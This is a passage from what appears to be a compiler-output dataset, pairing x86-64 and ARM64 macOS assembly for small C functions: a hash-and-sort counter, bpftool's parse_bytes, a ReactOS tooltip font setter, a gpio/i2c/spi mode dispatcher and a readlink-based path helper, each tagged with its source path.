movq %rax, -16(%rsi)
movq 3344(%rdx), %rax
movq %rax, -8(%rsi)
movq 3384(%rdx), %rax
movq %rax, (%rsi)
addq $2, %rcx
addq $6688, %rdx ## imm = 0x1A20
addq $32, %rsi
cmpq %rcx, %rdi
jne LBB1_26
LBB1_27: ## in Loop: Header=BB1_22 Depth=1
testb $1, %r8b
je LBB1_29
## %bb.28: ## in Loop: Header=BB1_22 Depth=1
leal 1(%r14), %eax
leaq -1(%r14), %rdx
shlq $4, %rdx
imulq $3344, %rcx, %rsi ## imm = 0xD10
addq _hsh@GOTPCREL(%rip), %rsi
movq (%rdx,%rsi), %rdx
shlq $4, %rcx
movq %rdx, (%r12,%rcx)
shlq $4, %rax
movq 8(%rax,%rsi), %rax
movq %rax, 8(%r12,%rcx)
LBB1_29: ## in Loop: Header=BB1_22 Depth=1
movslq %r11d, %rsi
movl $16, %edx
movq %r12, %rdi
leaq _cmp(%rip), %rcx
callq _qsort
movq _N@GOTPCREL(%rip), %rax
movl (%rax), %r11d
testl %r11d, %r11d
jle LBB1_39
## %bb.30: ## in Loop: Header=BB1_22 Depth=1
movl $1, %r8d
subq %r11, %r8
xorl %r9d, %r9d
movl %r9d, %esi
jmp LBB1_31
.p2align 4, 0x90
LBB1_37: ## in Loop: Header=BB1_31 Depth=2
movl %r9d, %esi
subl %edi, %esi
LBB1_38: ## in Loop: Header=BB1_31 Depth=2
movl %esi, %eax
subl %r9d, %eax
cltq
leal -1(%rax), %ecx
movslq %ecx, %rcx
imulq %rax, %rcx
movq %rcx, %rax
shrq $63, %rax
addq %rcx, %rax
sarq %rax
addq %rax, %r13
movl %esi, %r9d
cmpl %r11d, %esi
jge LBB1_39
LBB1_31: ## Parent Loop BB1_22 Depth=1
## => This Loop Header: Depth=2
## Child Loop BB1_33 Depth 3
cmpl %r11d, %r9d
jge LBB1_38
## %bb.32: ## in Loop: Header=BB1_31 Depth=2
movslq %r9d, %rdi
leaq (%r8,%rdi), %rsi
shlq $4, %rdi
leaq (%r12,%rdi), %rax
addq $8, %rax
movq (%r12,%rdi), %rcx
movq (%rax), %rax
leaq (%r12,%rdi), %rbx
addq $16, %rbx
xorl %edi, %edi
.p2align 4, 0x90
LBB1_33: ## Parent Loop BB1_22 Depth=1
## Parent Loop BB1_31 Depth=2
## => This Inner Loop Header: Depth=3
cmpq -8(%rbx), %rax
jne LBB1_37
## %bb.34: ## in Loop: Header=BB1_33 Depth=3
cmpq %rdi, %rsi
je LBB1_35
## %bb.36: ## in Loop: Header=BB1_33 Depth=3
decq %rdi
leaq 16(%rbx), %rdx
cmpq (%rbx), %rcx
movq %rdx, %rbx
je LBB1_33
jmp LBB1_37
LBB1_35: ## in Loop: Header=BB1_31 Depth=2
movl %r11d, %esi
jmp LBB1_38
LBB1_6:
xorl %r13d, %r13d
LBB1_40:
leaq L_.str.2(%rip), %rdi
movq %r13, %rsi
xorl %eax, %eax
callq _printf
xorl %eax, %eax
addq $40, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "%d%d%d"
.comm _N,4,2 ## @N
.comm _L,4,2 ## @L
.comm _S,4,2 ## @S
L_.str.1: ## @.str.1
.asciz "%s"
.comm _buf,6271881,4 ## @buf
.comm _hsh,100350096,4 ## @hsh
.comm _tmp,480144,4 ## @tmp
L_.str.2: ## @.str.2
.asciz "%lld\n"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _cmp ; -- Begin function cmp
.p2align 2
_cmp: ; @cmp
.cfi_startproc
; %bb.0:
ldr x8, [x0]
ldr x9, [x1]
cmp x8, x9
b.ne LBB0_2
; %bb.1:
ldr x8, [x0, #8]
ldr x9, [x1, #8]
cmp x8, x9
LBB0_2:
cset w8, lo
cmp w8, #0
mov w8, #-1
cneg w0, w8, eq
ret
.cfi_endproc
; -- End function
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #128
.cfi_def_cfa_offset 128
stp x28, x27, [sp, #32] ; 16-byte Folded Spill
stp x26, x25, [sp, #48] ; 16-byte Folded Spill
stp x24, x23, [sp, #64] ; 16-byte Folded Spill
stp x22, x21, [sp, #80] ; 16-byte Folded Spill
stp x20, x19, [sp, #96] ; 16-byte Folded Spill
stp x29, x30, [sp, #112] ; 16-byte Folded Spill
add x29, sp, #112
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
.cfi_offset w23, -56
.cfi_offset w24, -64
.cfi_offset w25, -72
.cfi_offset w26, -80
.cfi_offset w27, -88
.cfi_offset w28, -96
Lloh0:
adrp x8, _S@GOTPAGE
Lloh1:
ldr x8, [x8, _S@GOTPAGEOFF]
Lloh2:
adrp x21, _L@GOTPAGE
Lloh3:
ldr x21, [x21, _L@GOTPAGEOFF]
Lloh4:
adrp x22, _N@GOTPAGE
Lloh5:
ldr x22, [x22, _N@GOTPAGEOFF]
stp x21, x8, [sp, #8]
str x22, [sp]
Lloh6:
adrp x0, l_.str@PAGE
Lloh7:
add x0, x0, l_.str@PAGEOFF
bl _scanf
ldr w8, [x22]
cmp w8, #1
b.lt LBB1_11
; %bb.1:
mov x24, #0
Lloh8:
adrp x20, _hsh@GOTPAGE
Lloh9:
ldr x20, [x20, _hsh@GOTPAGEOFF]
Lloh10:
adrp x23, _buf@GOTPAGE
Lloh11:
ldr x23, [x23, _buf@GOTPAGEOFF]
add x25, x23, #1
Lloh12:
adrp x19, l_.str.1@PAGE
Lloh13:
add x19, x19, l_.str.1@PAGEOFF
LBB1_2: ; =>This Inner Loop Header: Depth=1
str x25, [sp]
mov x0, x19
bl _scanf
add x24, x24, #1
ldrsw x8, [x22]
add x25, x25, #209
cmp x24, x8
b.lt LBB1_2
; %bb.3:
cmp w8, #0
b.le LBB1_11
; %bb.4:
mov x10, #0
and x11, x8, #0xffffffff
ldr w9, [x21]
add w12, w9, #1
sub x12, x12, #1
add x13, x20, w9, uxtw #4
add x13, x13, #24
add x14, x23, #1
add x15, x20, #16
mov w16, #131
mov w17, #3344
b LBB1_6
LBB1_5: ; in Loop: Header=BB1_6 Depth=1
add x10, x10, #1
add x14, x14, #209
add x15, x15, #3344
add x13, x13, #3344
add x23, x23, #209
cmp x10, x11
b.eq LBB1_12
LBB1_6: ; =>This Loop Header: Depth=1
; Child Loop BB1_8 Depth 2
; Child Loop BB1_10 Depth 2
cmp w9, #1
b.lt LBB1_9
; %bb.7: ; in Loop: Header=BB1_6 Depth=1
mul x0, x10, x17
ldr x0, [x20, x0]
mov x1, x12
mov x2, x15
mov x3, x14
LBB1_8: ; Parent Loop BB1_6 Depth=1
; => This Inner Loop Header: Depth=2
ldrsb x4, [x3], #1
madd x0, x0, x16, x4
str x0, [x2], #16
subs x1, x1, #1
b.ne LBB1_8
LBB1_9: ; in Loop: Header=BB1_6 Depth=1
mov x0, x13
mov x1, x9
cmp w9, #1
b.lt LBB1_5
LBB1_10: ; Parent Loop BB1_6 Depth=1
; => This Inner Loop Header: Depth=2
ldr x2, [x0]
ldrsb x3, [x23, x1]
madd x2, x2, x16, x3
str x2, [x0, #-16]!
subs x1, x1, #1
b.gt LBB1_10
b LBB1_5
LBB1_11:
ldr w9, [x21]
LBB1_12:
; kill: def $w8 killed $w8 killed $x8 def $x8
cmp w9, #1
b.lt LBB1_32
; %bb.13:
mov x23, #0
Lloh14:
adrp x24, _hsh@GOTPAGE
Lloh15:
ldr x24, [x24, _hsh@GOTPAGEOFF]
mov w25, #1
mov w26, #3344
Lloh16:
adrp x19, _tmp@GOTPAGE
Lloh17:
ldr x19, [x19, _tmp@GOTPAGEOFF]
mov w27, #6688
Lloh18:
adrp x20, _cmp@PAGE
Lloh19:
add x20, x20, _cmp@PAGEOFF
b LBB1_15
LBB1_14: ; in Loop: Header=BB1_15 Depth=1
add x9, x25, #1
ldrsw x10, [x21]
add x24, x24, #16
; kill: def $w8 killed $w8 killed $x8 def $x8
cmp x25, x10
mov x25, x9
b.ge LBB1_33
LBB1_15: ; =>This Loop Header: Depth=1
; Child Loop BB1_19 Depth 2
; Child Loop BB1_22 Depth 2
; Child Loop BB1_27 Depth 2
; Child Loop BB1_29 Depth 3
cmp w8, #1
b.lt LBB1_23
; %bb.16: ; in Loop: Header=BB1_15 Depth=1
mov w9, w8
cmp w8, #1
b.ne LBB1_18
; %bb.17: ; in Loop: Header=BB1_15 Depth=1
mov x10, #0
b LBB1_21
LBB1_18: ; in Loop: Header=BB1_15 Depth=1
add x11, x19, #16
and x10, x9, #0xfffffffe
mov x12, x24
mov x13, x10
LBB1_19: ; Parent Loop BB1_15 Depth=1
; => This Inner Loop Header: Depth=2
ldr x14, [x12]
ldr x15, [x12, #3344]
ldr x16, [x12, #40]
ldr x17, [x12, #3384]
stp x14, x16, [x11, #-16]
stp x15, x17, [x11], #32
add x12, x12, x27
subs x13, x13, #2
b.ne LBB1_19
; %bb.20: ; in Loop: Header=BB1_15 Depth=1
cmp x10, x9
b.eq LBB1_23
LBB1_21: ; in Loop: Header=BB1_15 Depth=1
mul x11, x10, x26
add x12, x19, x10, lsl #4
add x12, x12, #8
sub x9, x9, x10
LBB1_22: ; Parent Loop BB1_15 Depth=1
; => This Inner Loop Header: Depth=2
add x10, x24, x11
ldr x13, [x10]
ldr x10, [x10, #40]
stp x13, x10, [x12, #-8]
add x11, x11, #3344
add x12, x12, #16
subs x9, x9, #1
b.ne LBB1_22
LBB1_23: ; in Loop: Header=BB1_15 Depth=1
sxtw x1, w8
mov x0, x19
mov w2, #16
mov x3, x20
bl _qsort
ldr w8, [x22]
cmp w8, #1
b.lt LBB1_14
; %bb.24: ; in Loop: Header=BB1_15 Depth=1
mov w9, #0
b LBB1_27
LBB1_25: ; in Loop: Header=BB1_27 Depth=2
mov x10, x8
LBB1_26: ; in Loop: Header=BB1_27 Depth=2
sub w9, w10, w9
sub w11, w9, #1
smull x9, w11, w9
cmp x9, #0
cinc x9, x9, lt
add x23, x23, x9, asr #1
mov x9, x10
cmp w10, w8
b.ge LBB1_14
LBB1_27: ; Parent Loop BB1_15 Depth=1
; => This Loop Header: Depth=2
; Child Loop BB1_29 Depth 3
mov x10, x9
cmp w9, w8
b.ge LBB1_26
; %bb.28: ; in Loop: Header=BB1_27 Depth=2
sxtw x10, w9
add x11, x19, w9, sxtw #4
add x13, x11, #8
add x11, x19, x10, lsl #4
ldr x12, [x11], #16
ldr x13, [x13]
add x14, x10, #1
mov x10, x9
LBB1_29: ; Parent Loop BB1_15 Depth=1
; Parent Loop BB1_27 Depth=2
; => This Inner Loop Header: Depth=3
ldur x15, [x11, #-8]
cmp x13, x15
b.ne LBB1_26
; %bb.30: ; in Loop: Header=BB1_29 Depth=3
cmp x8, x14
b.eq LBB1_25
; %bb.31: ; in Loop: Header=BB1_29 Depth=3
ldr x15, [x11], #16
add w10, w10, #1
add x14, x14, #1
cmp x12, x15
b.eq LBB1_29
b LBB1_26
LBB1_32:
mov x23, #0
LBB1_33:
str x23, [sp]
Lloh20:
adrp x0, l_.str.2@PAGE
Lloh21:
add x0, x0, l_.str.2@PAGEOFF
bl _printf
mov w0, #0
ldp x29, x30, [sp, #112] ; 16-byte Folded Reload
ldp x20, x19, [sp, #96] ; 16-byte Folded Reload
ldp x22, x21, [sp, #80] ; 16-byte Folded Reload
ldp x24, x23, [sp, #64] ; 16-byte Folded Reload
ldp x26, x25, [sp, #48] ; 16-byte Folded Reload
ldp x28, x27, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #128
ret
.loh AdrpAdd Lloh6, Lloh7
.loh AdrpLdrGot Lloh4, Lloh5
.loh AdrpLdrGot Lloh2, Lloh3
.loh AdrpLdrGot Lloh0, Lloh1
.loh AdrpAdd Lloh12, Lloh13
.loh AdrpLdrGot Lloh10, Lloh11
.loh AdrpLdrGot Lloh8, Lloh9
.loh AdrpAdd Lloh18, Lloh19
.loh AdrpLdrGot Lloh16, Lloh17
.loh AdrpLdrGot Lloh14, Lloh15
.loh AdrpAdd Lloh20, Lloh21
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "%d%d%d"
.comm _N,4,2 ; @N
.comm _L,4,2 ; @L
.comm _S,4,2 ; @S
l_.str.1: ; @.str.1
.asciz "%s"
.comm _buf,6271881,0 ; @buf
.comm _hsh,100350096,3 ; @hsh
.comm _tmp,480144,3 ; @tmp
l_.str.2: ; @.str.2
.asciz "%lld\n"
.subsections_via_symbols
| the_stack_data/32950476.c | stack |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function parse_bytes
_parse_bytes: ## @parse_bytes
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
subq $24, %rsp
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movl %ecx, %ebx
movq %rdx, %r12
movq %rsi, -56(%rbp) ## 8-byte Spill
movq %rdi, %r14
movq (%rdi), %rdi
leaq L_.str(%rip), %rsi
callq _is_prefix
xorl %r13d, %r13d
testq %rax, %rax
setne %r13b
leaq (%r14,%r13,8), %r15
movl %ebx, %r14d
movl %ebx, -44(%rbp) ## 4-byte Spill
testl %ebx, %ebx
je LBB0_1
## %bb.4:
shll $4, %r13d
xorl %ebx, %ebx
.p2align 4, 0x90
LBB0_5: ## =>This Inner Loop Header: Depth=1
movq (%r15,%rbx,8), %rdi
testq %rdi, %rdi
je LBB0_2
## %bb.6: ## in Loop: Header=BB0_5 Depth=1
leaq -64(%rbp), %rsi
movl %r13d, %edx
callq _strtoul
movb %al, (%r12,%rbx)
movq -64(%rbp), %rax
cmpb $0, (%rax)
jne LBB0_7
## %bb.8: ## in Loop: Header=BB0_5 Depth=1
incq %rbx
cmpq %rbx, %r14
jne LBB0_5
jmp LBB0_9
LBB0_1:
xorl %ebx, %ebx
LBB0_2:
cmpl -44(%rbp), %ebx ## 4-byte Folded Reload
jne LBB0_3
LBB0_9:
leaq (%r15,%r14,8), %r14
jmp LBB0_10
LBB0_3:
leaq L_.str.2(%rip), %rdi
xorl %r14d, %r14d
movq -56(%rbp), %rsi ## 8-byte Reload
movl -44(%rbp), %edx ## 4-byte Reload
movl %ebx, %ecx
xorl %eax, %eax
callq _p_err
jmp LBB0_10
LBB0_7:
movq (%r15,%rbx,8), %rsi
leaq L_.str.1(%rip), %rdi
xorl %r14d, %r14d
xorl %eax, %eax
callq _p_err
LBB0_10:
movq %r14, %rax
addq $24, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "hex"
L_.str.1: ## @.str.1
.asciz "error parsing byte: %s"
L_.str.2: ## @.str.2
.asciz "%s expected %d bytes got %d"
.no_dead_strip _parse_bytes
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function parse_bytes
_parse_bytes: ; @parse_bytes
.cfi_startproc
; %bb.0:
sub sp, sp, #112
.cfi_def_cfa_offset 112
stp x26, x25, [sp, #32] ; 16-byte Folded Spill
stp x24, x23, [sp, #48] ; 16-byte Folded Spill
stp x22, x21, [sp, #64] ; 16-byte Folded Spill
stp x20, x19, [sp, #80] ; 16-byte Folded Spill
stp x29, x30, [sp, #96] ; 16-byte Folded Spill
add x29, sp, #96
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
.cfi_offset w23, -56
.cfi_offset w24, -64
.cfi_offset w25, -72
.cfi_offset w26, -80
mov x19, x3
mov x21, x2
mov x20, x1
mov x22, x0
ldr x0, [x0]
Lloh0:
adrp x1, l_.str@PAGE
Lloh1:
add x1, x1, l_.str@PAGEOFF
bl _is_prefix
cmp x0, #0
cset w8, ne
add x23, x22, w8, uxtw #3
cbz w19, LBB0_5
; %bb.1:
mov x24, #0
lsl w22, w8, #4
mov w25, w19
LBB0_2: ; =>This Inner Loop Header: Depth=1
ldr x0, [x23, x24, lsl #3]
cbz x0, LBB0_6
; %bb.3: ; in Loop: Header=BB0_2 Depth=1
add x1, sp, #24
mov x2, x22
bl _strtoul
strb w0, [x21, x24]
ldr x8, [sp, #24]
ldrb w8, [x8]
cbnz w8, LBB0_9
; %bb.4: ; in Loop: Header=BB0_2 Depth=1
add x24, x24, #1
cmp x25, x24
b.ne LBB0_2
b LBB0_7
LBB0_5:
mov w24, #0
LBB0_6:
cmp w24, w19
b.ne LBB0_8
LBB0_7:
add x0, x23, w19, uxtw #3
b LBB0_11
LBB0_8:
; kill: def $w24 killed $w24 killed $x24 def $x24
stp x19, x24, [sp]
Lloh2:
adrp x0, l_.str.2@PAGE
Lloh3:
add x0, x0, l_.str.2@PAGEOFF
mov x1, x20
b LBB0_10
LBB0_9:
ldr x1, [x23, x24, lsl #3]
Lloh4:
adrp x0, l_.str.1@PAGE
Lloh5:
add x0, x0, l_.str.1@PAGEOFF
LBB0_10:
bl _p_err
mov x0, #0
LBB0_11:
ldp x29, x30, [sp, #96] ; 16-byte Folded Reload
ldp x20, x19, [sp, #80] ; 16-byte Folded Reload
ldp x22, x21, [sp, #64] ; 16-byte Folded Reload
ldp x24, x23, [sp, #48] ; 16-byte Folded Reload
ldp x26, x25, [sp, #32] ; 16-byte Folded Reload
add sp, sp, #112
ret
.loh AdrpAdd Lloh0, Lloh1
.loh AdrpAdd Lloh2, Lloh3
.loh AdrpAdd Lloh4, Lloh5
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "hex"
l_.str.1: ; @.str.1
.asciz "error parsing byte: %s"
l_.str.2: ; @.str.2
.asciz "%s expected %d bytes got %d"
.no_dead_strip _parse_bytes
.subsections_via_symbols
| AnghaBench/linux/tools/bpf/bpftool/extr_map.c_parse_bytes.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function TOOLTIPS_SetFont
_TOOLTIPS_SetFont: ## @TOOLTIPS_SetFont
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %rbx
pushq %rax
.cfi_offset %rbx, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq %rdx, %r14
movq %rdi, %rbx
leaq -32(%rbp), %rdx
movl %esi, %edi
movl $4, %esi
callq _GetObjectW
testl %eax, %eax
je LBB0_4
## %bb.1:
movq 16(%rbx), %rdi
callq _DeleteObject
leaq -32(%rbp), %r15
movq %r15, %rdi
callq _CreateFontIndirectW
movq %rax, 16(%rbx)
movq 8(%rbx), %rdi
callq _DeleteObject
movq _FW_BOLD@GOTPCREL(%rip), %rax
movl (%rax), %eax
movl %eax, -32(%rbp)
movq %r15, %rdi
callq _CreateFontIndirectW
movq %rax, 8(%rbx)
testq %r14, %r14
je LBB0_4
## %bb.2:
cmpl $-1, (%rbx)
je LBB0_4
## %bb.3:
leaq L_.str(%rip), %rdi
callq _FIXME
LBB0_4:
xorl %eax, %eax
addq $8, %rsp
popq %rbx
popq %r14
popq %r15
popq %rbp
retq
.cfi_endproc
## -- End function
.comm _FW_BOLD,4,2 ## @FW_BOLD
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "full redraw needed\n"
.no_dead_strip _TOOLTIPS_SetFont
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function TOOLTIPS_SetFont
_TOOLTIPS_SetFont: ; @TOOLTIPS_SetFont
.cfi_startproc
; %bb.0:
sub sp, sp, #48
.cfi_def_cfa_offset 48
stp x20, x19, [sp, #16] ; 16-byte Folded Spill
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
mov x20, x2
mov x19, x0
add x2, sp, #8
mov x0, x1
mov w1, #4
bl _GetObjectW
cbz w0, LBB0_4
; %bb.1:
ldr x0, [x19, #16]
bl _DeleteObject
add x0, sp, #8
bl _CreateFontIndirectW
str x0, [x19, #16]
ldr x0, [x19, #8]
bl _DeleteObject
Lloh0:
adrp x8, _FW_BOLD@GOTPAGE
Lloh1:
ldr x8, [x8, _FW_BOLD@GOTPAGEOFF]
Lloh2:
ldr w8, [x8]
str w8, [sp, #8]
add x0, sp, #8
bl _CreateFontIndirectW
str x0, [x19, #8]
cbz x20, LBB0_4
; %bb.2:
ldr w8, [x19]
cmn w8, #1
b.eq LBB0_4
; %bb.3:
Lloh3:
adrp x0, l_.str@PAGE
Lloh4:
add x0, x0, l_.str@PAGEOFF
bl _FIXME
LBB0_4:
mov w0, #0
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
ldp x20, x19, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #48
ret
.loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2
.loh AdrpAdd Lloh3, Lloh4
.cfi_endproc
; -- End function
.comm _FW_BOLD,4,2 ; @FW_BOLD
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "full redraw needed\n"
.no_dead_strip _TOOLTIPS_SetFont
.subsections_via_symbols
| AnghaBench/reactos/dll/win32/comctl32/extr_tooltips.c_TOOLTIPS_SetFont.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %rbx
pushq %rax
.cfi_offset %rbx, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
cmpl $1, %edi
jle LBB0_5
## %bb.1:
movq %rsi, %r14
movl %edi, %ebx
movq 8(%rsi), %r15
leaq L_.str.1(%rip), %rsi
movq %r15, %rdi
callq _strcmp
testl %eax, %eax
je LBB0_6
## %bb.2:
leaq L_.str.2(%rip), %rsi
movq %r15, %rdi
callq _strcmp
testl %eax, %eax
je LBB0_7
## %bb.3:
leaq L_.str.3(%rip), %rsi
movq %r15, %rdi
callq _strcmp
testl %eax, %eax
jne LBB0_4
## %bb.8:
movl %ebx, %edi
movq %r14, %rsi
addq $8, %rsp
popq %rbx
popq %r14
popq %r15
popq %rbp
jmp _spi_main ## TAILCALL
LBB0_6:
movl %ebx, %edi
movq %r14, %rsi
addq $8, %rsp
popq %rbx
popq %r14
popq %r15
popq %rbp
jmp _gpio_main ## TAILCALL
LBB0_7:
movl %ebx, %edi
movq %r14, %rsi
addq $8, %rsp
popq %rbx
popq %r14
popq %r15
popq %rbp
jmp _i2c_main ## TAILCALL
LBB0_5:
callq _main.cold.1
xorl %eax, %eax
addq $8, %rsp
popq %rbx
popq %r14
popq %r15
popq %rbp
retq
LBB0_4:
leaq L_.str.4(%rip), %rsi
movl $1, %edi
movq %r15, %rdx
xorl %eax, %eax
callq _errx
.cfi_endproc
## -- End function
.p2align 4, 0x90 ## -- Begin function main.cold.1
_main.cold.1: ## @main.cold.1
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
leaq L_.str(%rip), %rsi
pushq $1
popq %rdi
xorl %eax, %eax
callq _errx
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "Must pass mode (e.g. gpio, i2c, spi)"
L_.str.1: ## @.str.1
.asciz "gpio"
L_.str.2: ## @.str.2
.asciz "i2c"
L_.str.3: ## @.str.3
.asciz "spi"
L_.str.4: ## @.str.4
.asciz "Unknown mode '%s'"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _main ; -- Begin function main
.p2align 2
_main: ; @main
.cfi_startproc
; %bb.0:
sub sp, sp, #64
.cfi_def_cfa_offset 64
stp x22, x21, [sp, #16] ; 16-byte Folded Spill
stp x20, x19, [sp, #32] ; 16-byte Folded Spill
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
cmp w0, #1
b.le LBB0_7
; %bb.1:
mov x19, x1
mov x20, x0
ldr x21, [x1, #8]
Lloh0:
adrp x1, l_.str.1@PAGE
Lloh1:
add x1, x1, l_.str.1@PAGEOFF
mov x0, x21
bl _strcmp
cbz w0, LBB0_5
; %bb.2:
Lloh2:
adrp x1, l_.str.2@PAGE
Lloh3:
add x1, x1, l_.str.2@PAGEOFF
mov x0, x21
bl _strcmp
cbz w0, LBB0_6
; %bb.3:
Lloh4:
adrp x1, l_.str.3@PAGE
Lloh5:
add x1, x1, l_.str.3@PAGEOFF
mov x0, x21
bl _strcmp
cbnz w0, LBB0_8
; %bb.4:
mov x0, x20
mov x1, x19
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
ldp x20, x19, [sp, #32] ; 16-byte Folded Reload
ldp x22, x21, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #64
b _spi_main
LBB0_5:
mov x0, x20
mov x1, x19
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
ldp x20, x19, [sp, #32] ; 16-byte Folded Reload
ldp x22, x21, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #64
b _gpio_main
LBB0_6:
mov x0, x20
mov x1, x19
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
ldp x20, x19, [sp, #32] ; 16-byte Folded Reload
ldp x22, x21, [sp, #16] ; 16-byte Folded Reload
add sp, sp, #64
b _i2c_main
LBB0_7:
bl _main.cold.1
LBB0_8:
str x21, [sp]
Lloh6:
adrp x1, l_.str.4@PAGE
Lloh7:
add x1, x1, l_.str.4@PAGEOFF
mov w0, #1
bl _errx
.loh AdrpAdd Lloh0, Lloh1
.loh AdrpAdd Lloh2, Lloh3
.loh AdrpAdd Lloh4, Lloh5
.loh AdrpAdd Lloh6, Lloh7
.cfi_endproc
; -- End function
.p2align 2 ; -- Begin function main.cold.1
_main.cold.1: ; @main.cold.1
.cfi_startproc
; %bb.0:
stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 16
mov x29, sp
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
Lloh8:
adrp x1, l_.str@PAGE
Lloh9:
add x1, x1, l_.str@PAGEOFF
mov w0, #1
bl _errx
.loh AdrpAdd Lloh8, Lloh9
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "Must pass mode (e.g. gpio, i2c, spi)"
l_.str.1: ; @.str.1
.asciz "gpio"
l_.str.2: ; @.str.2
.asciz "i2c"
l_.str.3: ; @.str.3
.asciz "spi"
l_.str.4: ; @.str.4
.asciz "Unknown mode '%s'"
.subsections_via_symbols
| the_stack_data/31387877.c | stack |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _getmypath ## -- Begin function getmypath
.p2align 4, 0x90
_getmypath: ## @getmypath
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq %rdi, %rax
movslq %esi, %rdx
leaq L_.str(%rip), %rdi
movq %rax, %rsi
popq %rbp
jmp _readlink ## TAILCALL
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "/proc/self/exe"
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _getmypath ; -- Begin function getmypath
.p2align 2
_getmypath: ; @getmypath
.cfi_startproc
; %bb.0:
stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 16
mov x29, sp
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
; kill: def $w1 killed $w1 def $x1
mov x8, x0
sxtw x2, w1
Lloh0:
adrp x0, l_.str@PAGE
Lloh1:
add x0, x0, l_.str@PAGEOFF
mov x1, x8
bl _readlink
; kill: def $w0 killed $w0 killed $x0
ldp x29, x30, [sp], #16 ; 16-byte Folded Reload
ret
.loh AdrpAdd Lloh0, Lloh1
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "/proc/self/exe"
.subsections_via_symbols
| the_stack_data/221606.c | stack |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function cleanup
_cleanup: ## @cleanup
.cfi_startproc
